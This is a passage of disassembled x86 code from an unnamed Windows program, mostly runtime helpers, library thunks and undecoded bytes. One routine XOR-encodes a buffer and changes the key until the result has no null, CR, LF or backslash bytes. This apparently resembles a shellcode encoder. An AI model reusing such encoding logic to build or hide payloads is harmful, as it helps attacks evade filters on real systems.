		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, [esp+30h]
		add	esp, 8
		mov	ecx, 6
		mov	esi, (offset loc_446B8F+1)
		mov	edi, edx
		mov	[esp+1Ch], edx
		test	eax, eax
		rep movsd
		jz	short loc_4366CD
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_4366CD:				; CODE XREF: ___:004366C4j
		push	ebx
		call	near ptr 77C2C407h
		nop
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+1Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+1Ch]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_43670F:				; CODE XREF: ___:00436788j
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_43674F
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_43674F
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_43674F
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_43678A


loc_43674F:				; CODE XREF: ___:0043671Dj
					; ___:0043672Dj ...
		mov	esi, [esp+18h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+10h], ecx
		jle	short loc_436781


loc_436774:				; CODE XREF: ___:0043677Fj
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_436774


loc_436781:				; CODE XREF: ___:00436772j
		mov	edx, [esp+1Ch]
		mov	[edx+13h], cl
		jmp	short loc_43670F
; ---------------------------------------------------------------------------


loc_43678A:				; CODE XREF: ___:0043674Dj
		mov	eax, [esp+18h]
		push	eax
		call	near ptr 77C2C21Bh
		nop
		mov	ecx, [esp+28h]
		mov	edx, [esp+24h]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+20h]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+20h]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_50FAC4
		call	esi	; free
		push	ebp
		call	esi	; free
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 68h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436858	proc near		; CODE XREF: SEH_4034E0+5j
					; SEH_4036D0+5j ...
		nop
		jmp	near ptr 77C227FAh
sub_436858	endp

; ---------------------------------------------------------------------------
		align 10h
byte_436860	db 90h			; DATA XREF: ___:off_43E004o
					; ___:0043E018o ...
		db 0E9h, 0A7h, 0F6h
		dd 0ADE9777Fh, 7E777E56h, 2B55E990h
; ---------------------------------------------------------------------------
		jg	short loc_4368E9

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436872	proc near		; CODE XREF: ___:00406BE0p
					; sub_406C00+11p ...
		nop
		jmp	near ptr 77C29CDDh
sub_436872	endp

; ---------------------------------------------------------------------------
		dd 811213E9h, 0E990B877h, 778113DCh, 81145CE9h
		db 77h,	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_43688A	proc near		; CODE XREF: sub_406C30+47p
					; sub_406C30+9Ap ...
		nop
		jmp	near ptr 77C29CC5h
sub_43688A	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 51h, 0ACh
; ---------------------------------------------------------------------------
		jle	short loc_43690D
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43E1D4
		retn	4
; ---------------------------------------------------------------------------


loc_4368A1:				; DATA XREF: ___:off_43E1D4o
		push	esi
		mov	esi, ecx
		call	sub_436C5C
; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_4368B7
		push	esi
		call	sub_436872
; ---------------------------------------------------------------------------
		pop	ecx


loc_4368B7:				; CODE XREF: ___:004368AEj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		mov	eax, ecx
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4368C2	proc near		; CODE XREF: ___:0040964Dp
					; ___:0040AA1Dp
		jmp	near ptr 77C226F6h
sub_4368C2	endp

; ---------------------------------------------------------------------------
		db 58h
		db 90h
		db 0E9h, 0BCh, 96h
; ---------------------------------------------------------------------------
		xor	byte ptr [edi-34h], 0CCh

; =============== S U B	R O U T	I N E =======================================



sub_4368D0	proc near		; CODE XREF: sub_40A0B0+5p
					; sub_40FFD0+1Ap ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_4368F0


loc_4368DC:				; CODE XREF: sub_4368D0+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax


loc_4368E9:				; CODE XREF: ___:00436870j
		cmp	eax, 1000h
		jnb	short loc_4368DC


loc_4368F0:				; CODE XREF: sub_4368D0+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_4368D0	endp

; ---------------------------------------------------------------------------
		db 0CCh
		db 90h
		db 0E9h, 5Ah, 0Dh
		dd 0E9907781h, 777E6684h
		db 90h
; ---------------------------------------------------------------------------


loc_43690D:				; CODE XREF: ___:00436894j
		jmp	near ptr 77C3FA76h
; ---------------------------------------------------------------------------
		dw 39E9h
		dd 0E778111h, 803561E9h, 0E990C277h, 77810FFCh,	5ADDE990h
		dd 3D83777Fh, 50E994h, 0FF0C75FFh, 90042474h, 7FE4BBE8h
		dd 68C35977h, 50E984h, 50E99468h, 2474FF00h, 310E80Ch
		dd 0C4830000h, 74FFC30Ch, 0CBE80424h, 0F7FFFFFFh, 59C01BD8h
		dd 0C348D8F7h, 58ADE990h, 49E9777Fh, 20778008h,	859E990h
		db 80h,	77h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_43697A	proc near		; CODE XREF: sub_419960+28p
		nop
		jmp	near ptr 77C4FA10h
sub_43697A	endp


; =============== S U B	R O U T	I N E =======================================



sub_436980	proc near		; CODE XREF: sub_41B8C0+54p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_4369A1
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_4369F1
; ---------------------------------------------------------------------------


loc_4369A1:				; CODE XREF: sub_436980+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_4369AF:				; CODE XREF: sub_436980+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_4369AF
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_4369DA
		cmp	edx, [esp+4+arg_4]
		ja	short loc_4369DA
		jb	short loc_4369E2
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_4369E2


loc_4369DA:				; CODE XREF: sub_436980+4Aj
					; sub_436980+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_4369E2:				; CODE XREF: sub_436980+52j
					; sub_436980+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_4369F1:				; CODE XREF: sub_436980+1Fj
		pop	ebx
		retn	10h
sub_436980	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_436A00	proc near		; CODE XREF: sub_41B8C0+30p
					; sub_41B8C0+3Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_436A22
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_436A63
; ---------------------------------------------------------------------------


loc_436A22:				; CODE XREF: sub_436A00+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_436A30:				; CODE XREF: sub_436A00+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_436A30
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_436A5E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_436A5E
		jb	short loc_436A5F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_436A5F


loc_436A5E:				; CODE XREF: sub_436A00+4Ej
					; sub_436A00+54j
		dec	esi


loc_436A5F:				; CODE XREF: sub_436A00+56j
					; sub_436A00+5Cj
		xor	edx, edx
		mov	eax, esi


loc_436A63:				; CODE XREF: sub_436A00+20j
		pop	esi
		pop	ebx
		retn	10h
sub_436A00	endp

; ---------------------------------------------------------------------------
		dd 80A044E9h, 0E9902577h, 7780859Ch, 13E7E990h,	0E9907781h
		dd 7780A3F6h, 0A775E990h, 0E9907780h, 7780AAE8h, 0A90AE990h
		dd 0E9907780h, 7780ACA3h, 1142E990h, 0E9907781h, 7780B0CEh
		dd 844CE990h, 0E9907780h, 7780A363h, 560DE990h,	0E990777Fh
		dd 777E5AA5h, 330E990h,	33E97780h, 0F5778007h, 87EEE990h
		dd 0E990777Eh, 77808E5Dh, 0AD90E990h, 0E9907780h, 778038FBh
		dd 3821E990h, 28E97780h, 28778126h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436AEC	proc near		; CODE XREF: ___:0043171Cp
		jmp	near ptr 77C3619Ch
sub_436AEC	endp

; ---------------------------------------------------------------------------
		db 3Ch,	0E9h, 7Dh
		dd 0E778002h, 0A0B3E990h
		db 80h,	77h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43E1D8
		push	offset byte_436CAE
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 68h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	2
		nop
		call	near ptr 77C3537Ch
		pop	ecx
		or	dword_50E984, 0FFFFFFFFh
		or	dword_50E994, 0FFFFFFFFh
		call	near ptr 77C1F1DBh
		nop
		mov	ecx, dword_50E898
		mov	[eax], ecx
		nop
		call	near ptr 77C1F1A4h
		mov	ecx, dword_50E894
		mov	[eax], ecx
		mov	eax, dword_50FA1C
		mov	eax, [eax]
		mov	dword_50E978, eax
		call	nullsub_1
		cmp	dword_446CB0, ebx
		jnz	short loc_436B81
		push	offset loc_436C98
		nop
		call	near ptr 77C4D675h
		pop	ecx


loc_436B81:				; CODE XREF: ___:00436B73j
		call	sub_436C80
; ---------------------------------------------------------------------------
		push	offset dword_443410
		push	offset dword_44330C
		call	sub_436C7A
; ---------------------------------------------------------------------------
		db 0A1h, 90h, 0E8h
		dd 45890050h, 94458D94h, 8C35FF50h, 8D0050E8h, 8D509C45h
		dd 8D509045h, 0E850A045h, 777E8333h, 32086890h,	680044h
		dd 0E8004430h, 0B2h, 0A124C483h, 50FA2Ch, 7589308Bh, 223E808Ch
; ---------------------------------------------------------------------------
		jnz	short loc_436C14


loc_436BDA:				; CODE XREF: ___:00436BE6j
		inc	esi
		mov	[ebp-74h], esi
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_436BE8
		cmp	al, 22h
		jnz	short loc_436BDA


loc_436BE8:				; CODE XREF: ___:00436BE2j
		cmp	byte ptr [esi],	22h
		jnz	short loc_436BF1


loc_436BED:				; CODE XREF: ___:00436BF9j
		inc	esi
		mov	[ebp-74h], esi


loc_436BF1:				; CODE XREF: ___:00436BEBj
					; ___:00436C17j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_436BFB
		cmp	al, 20h
		jbe	short loc_436BED


loc_436BFB:				; CODE XREF: ___:00436BF5j
		mov	[ebp-30h], ebx
		lea	eax, [ebp-5Ch]
		push	eax
		call	near ptr 275012Bh
		nop
		test	byte ptr [ebp-30h], 1
		jz	short loc_436C1F
		movzx	eax, word ptr [ebp-2Ch]
		jmp	short loc_436C22
; ---------------------------------------------------------------------------


loc_436C14:				; CODE XREF: ___:00436BD8j
					; ___:00436C1Dj
		cmp	byte ptr [esi],	20h
		jbe	short loc_436BF1
		inc	esi
		mov	[ebp-74h], esi
		jmp	short loc_436C14
; ---------------------------------------------------------------------------


loc_436C1F:				; CODE XREF: ___:00436C0Cj
		push	0Ah
		pop	eax


loc_436C22:				; CODE XREF: ___:00436C12j
		push	eax
		push	esi
		push	ebx
		push	ebx
		nop
		call	near ptr 28B1CC4h
		push	eax
		call	sub_401EC4
; ---------------------------------------------------------------------------
aIesprsb2awleLL	db '‰E˜PèB2€w‹Eì‹',8,'‹',9,'‰MˆPQè!',0
		align 4
		dd 0C3595900h, 0FFE8658Bh, 0E8908875h, 7780323Eh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436C5C	proc near		; CODE XREF: ___:004368A4p
		nop
		jmp	near ptr 77C21868h
sub_436C5C	endp

; ---------------------------------------------------------------------------
		dw 0EAE9h
		dd 37777FE1h, 322CE990h
		db 80h,	77h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436C6E	proc near
		nop
		jmp	near ptr 77C32DAEh
sub_436C6E	endp

; ---------------------------------------------------------------------------
		dd 7E8272E9h
; ---------------------------------------------------------------------------
		ja	short loc_436CCF

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436C7A	proc near		; CODE XREF: ___:00436B90p
		nop
		jmp	near ptr 77C39D67h
sub_436C7A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436C80	proc near		; CODE XREF: ___:loc_436B81p
		push	30000h
		push	10000h
		call	sub_436CB4
sub_436C80	endp

; ---------------------------------------------------------------------------
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 778169DDh
; ---------------------------------------------------------------------------


loc_436C98:				; DATA XREF: ___:00436B75o
		xor	eax, eax
		retn
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
		dd 7E8503E9h, 0E990E377h, 777E8533h, 0E6CEE990h
		db 7Fh,	77h
byte_436CAE	db 90h			; DATA XREF: ___:00436B08o
		db 0E9h
		dd 777FEFE0h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436CB4	proc near		; CODE XREF: sub_436C80+Ap
		nop
		jmp	near ptr 77C4EE2Fh
sub_436CB4	endp

; ---------------------------------------------------------------------------
		dw 0ACE9h
; ---------------------------------------------------------------------------


loc_436CBC:				; CODE XREF: ___:00436CD1j
		xchg	eax, esi
		mov	byte ptr [ebp-22h], 90h
		jmp	near ptr 760A044Fh
; ---------------------------------------------------------------------------
byte_436CC6	db 90h			; DATA XREF: ___:0043F08Co
		db 0E9h
		dd 75C5B362h
		db 90h
		db 0E9h, 0B3h
; ---------------------------------------------------------------------------


loc_436CCF:				; CODE XREF: ___:00436C78j
		xchg	eax, ebp
		jnz	short loc_436CBC
		pop	ecx
		xchg	eax, edi
		mov	byte ptr [ebp-15h], 90h
		jmp	near ptr 76081F67h
; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 75C54B68h, 9C5E990h,	0E99075C6h, 75C4EDF4h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436CF0	proc near		; CODE XREF: sub_419360+17Ep
		nop
		jmp	near ptr 76D6AC1Dh
sub_436CF0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 23E9B65h, 9C4DE990h,	0E990023Eh, 23F92F8h, 97B3E990h
		dd 0E990023Fh, 24092ECh, 0A35BE990h, 0E9900240h, 24192E0h
		dd 92DAE990h, 0E9900242h, 242A8C8h, 0AA1BE990h,	0E9900242h
		dd 242AE6Ch, 92C2E990h,	0E9900243h, 24393AEh, 9CAAE990h
		dd 0E9900243h, 24492B0h, 4495E6E9h, 0E9908802h,	24592A4h
		dd 96EAE990h, 0E9900245h, 2459952h, 469293E9h, 8DE97602h
		dd 37024792h, 0A393E990h, 0E9900247h, 247AF44h,	927AE990h
		dd 0E9900248h, 2489948h, 9DDAE990h, 69E90248h, 1B024992h
		dd 9262E990h, 0E990023Eh, 23D9A4Ah, 9256E990h, 0E990023Dh
		dd 23C9250h, 9B06E990h,	0E990023Bh, 23B9244h, 923EE990h
		dd 0E990023Ah, 2399853h, 399562E9h, 0E9902A02h,	239922Ch
		dd 389849E9h, 0E9902F02h, 2319220h, 921AE990h, 65E90238h
		dd 0A102379Fh, 379F11E9h, 0E9909702h, 7C4CA2F5h, 4CA208E9h
		dd 0E9902A7Ch, 2379CB5h, 9AF2E990h, 0E9900237h,	23794BCh
		dd 92E9E990h, 0E5E90237h, 39023791h, 9FBCE990h,	0E9900236h
		dd 2369E63h, 9CE4E990h,	0E9900236h, 2369AECh, 369911E9h
		dd 0E990E602h, 2369767h, 951BE990h, 0E9900236h,	23691B4h
		dd 0A0F8E990h, 0E9900235h, 2359B74h, 359B32E9h,	5DE9DE02h
		dd 0B8023597h, 3595CEE9h, 91E97402h, 97023591h,	349E0EE9h
		dd 0E9902802h, 2349A23h, 96CEE990h, 5BE90234h, 71023496h
		dd 349173E9h, 0CFE9C202h, 8002339Dh, 9B3FE990h,	0E9900233h
		dd 23397E9h, 915AE990h,	0E9900233h, 2329E45h, 9CB2E990h
		dd 10E90232h, 7E023299h, 974FE990h, 0E9900232h,	232913Ch
		dd 9261E990h, 0E9900231h, 1FA38Eh, 9520E990h, 0E9900249h
		dd 253A26Eh, 4F911FE9h,	0E9903702h, 2539118h, 5293A9E9h
		dd 0E990C202h, 252910Ch, 9106E990h, 0E9900251h,	25097ABh
		dd 509553E9h, 0E9908302h, 25090F4h, 991EE990h, 0E990024Fh
		dd 24F9828h, 95C5E990h,	0E990024Fh, 249985Fh, 9D92E990h
		dd 7AE9024Eh, 0C7024E99h, 9509E990h, 0E990024Eh, 24E90C4h
		dd 90BEE990h, 0E990024Dh, 24C90B8h, 0AB4BE990h,	0E990024Bh
		dd 24BA7FFh, 4BA533E9h,	0E990DE02h, 24BA3E8h, 4B909BE9h
		dd 95E92802h, 0B3024A90h, 60A19FE9h, 0CAE9467Ch, 507167CFh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F78	proc near		; CODE XREF: ___:0042C981p
		nop
		jmp	near ptr 71AB4FD4h
sub_436F78	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 716874F5h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F84	proc near		; CODE XREF: sub_42C971+1p
		nop
		jmp	near ptr 71AB2BF4h
sub_436F84	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F8A	proc near		; CODE XREF: sub_42CCE0+E5p
					; sub_42DD00+4Fp
		nop
		jmp	near ptr 71AB615Ah
sub_436F8A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F90	proc near		; CODE XREF: sub_42D230+9Ap
					; sub_42DDE0+45p ...
		nop
		jmp	near ptr 71AB428Ah
sub_436F90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F96	proc near		; CODE XREF: sub_42E060+53p
					; sub_42E060+96p ...
		nop
		jmp	near ptr 71AB9639h
sub_436F96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F9C	proc near
		nop
		jmp	near ptr 71AC1028h
sub_436F9C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436FA2	proc near		; CODE XREF: sub_42CF10+71p
					; sub_42DAF0+50p
		nop
		jmp	near ptr 71AB2DC0h
sub_436FA2	endp

; ---------------------------------------------------------------------------
		dd 67BC13E9h
; ---------------------------------------------------------------------------
		jno	short loc_437008

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436FAE	proc near
		nop
		jmp	near ptr 71AB88D3h
sub_436FAE	endp

; ---------------------------------------------------------------------------
		dd 67BBADE9h
		db 71h,	5Dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436FBA	proc near		; CODE XREF: sub_42D610+187p
		nop


loc_436FBB:				; CODE XREF: ___:00437024j
		jmp	near ptr 71AB951Eh
sub_436FBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436FC0	proc near
		nop
		jmp	near ptr 71AB3E00h
sub_436FC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436FC6	proc near		; CODE XREF: sub_42C8A0+B1p
		nop
		jmp	near ptr 71AB2B66h
sub_436FC6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436FCC	proc near		; CODE XREF: ___:0042C9CFp
					; sub_42D610+152p
		nop
		jmp	near ptr 71AB3B91h
sub_436FCC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436FD2	proc near
		nop
		jmp	near ptr 71AB406Ah
sub_436FD2	endp

; ---------------------------------------------------------------------------
		dd 67D44BE9h
		db 71h,	8Dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436FDE	proc near		; CODE XREF: sub_42C820+10p
		nop
		jmp	near ptr 71AB664Dh
sub_436FDE	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 0DEh, 0E0h
		db 67h,	71h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436FEA	proc near		; CODE XREF: sub_433940+Bp
		jmp	near ptr 71AB94DCh
sub_436FEA	endp

; ---------------------------------------------------------------------------
		db 0C0h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436FF0	proc near		; CODE XREF: sub_41A770+92p
					; sub_41A960+CAp ...
		nop
		jmp	near ptr 71AB4544h
sub_436FF0	endp

; ---------------------------------------------------------------------------
		dw 55E9h
		dd 0A671689Bh, 0D517E990h, 0E9907167h, 7167BBB8h
; ---------------------------------------------------------------------------


loc_437008:				; CODE XREF: ___:00436FACj
		jmp	near ptr 71AB2D0Fh
; ---------------------------------------------------------------------------
		db 0FAh, 90h, 0E9h
		dd 7167BC55h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_437014	proc near
		nop
		jmp	near ptr 71AB3EA1h
sub_437014	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 71681749h, 67D464E9h
; ---------------------------------------------------------------------------
		jno	short loc_436FBB

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_437026	proc near		; CODE XREF: sub_42C8A0+53p
					; sub_42C8A0+C3p
		nop
		jmp	near ptr 71ABE6EBh
sub_437026	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_43702C	proc near		; CODE XREF: sub_42E060+4Ap
		nop
		jmp	near ptr 71AC0BDEh
sub_43702C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_437032	proc near
		jmp	near ptr 71AB2A5Eh
sub_437032	endp

; ---------------------------------------------------------------------------
		db 11h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_437038	proc near		; CODE XREF: ___:0041C257p
					; ___:0041C26Cp
		nop
		jmp	near ptr 71B2578Ch
sub_437038	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_43703E	proc near		; CODE XREF: ___:0041C3ADp
					; ___:0041C3CFp
		jmp	near ptr 71B25099h
sub_43703E	endp

; ---------------------------------------------------------------------------
		cmc

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_437044	proc near		; CODE XREF: sub_420030+B4p
		nop
		jmp	near ptr 76BF215Ah
sub_437044	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_43704A	proc near		; CODE XREF: sub_420030+9Bp
		nop
		jmp	near ptr 76BF1F1Ch
sub_43704A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_437050	proc near		; CODE XREF: sub_420030+21p
		jmp	near ptr 76BF3A9Ah
sub_437050	endp

; ---------------------------------------------------------------------------
		db 71h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_437056	proc near		; CODE XREF: ___:0041B254p
		nop
		jmp	near ptr 76F36C5Bh
sub_437056	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 0ECh, 0F1h
dword_437060	dd 0E9907780h, 7780F0BDh, 0F102E990h, 0ADE97780h, 717780F2h
		dd 2C7h	dup(0CCCCCCCCh), 0FB988D8Dh, 8BE9FFFFh,	8DFFFC96h
		dd 0FFFBC88Dh, 9680E9FFh, 8D8DFFFCh, 0FFFFFBB0h, 0FC9675E9h
		dd 0E08D8DFFh, 0E9FFFFFBh, 0FFFC966Ah, 0FB94858Bh, 0E083FFFFh
		dd 0FC08501h, 884h, 44D8B00h, 0FC9651E9h
; ---------------------------------------------------------------------------
		inc	ebx

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4034E0	proc near		; DATA XREF: sub_4034E0+2o
		mov	eax, offset dword_43E470
		jmp	sub_436858
SEH_4034E0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9
		jmp	sub_401AD2
; ---------------------------------------------------------------------------


loc_437C0B:				; DATA XREF: ___:0043E4ECo
		mov	ecx, [ebp-10h]
		add	ecx, 52h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9Bh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E4h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 12Dh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 176h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1BFh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 208h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 251h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 29Ah
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2E3h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 32Ch
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 375h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3BEh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 407h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 450h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 499h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4E2h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 52Bh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 574h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 5BDh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 606h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64Fh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
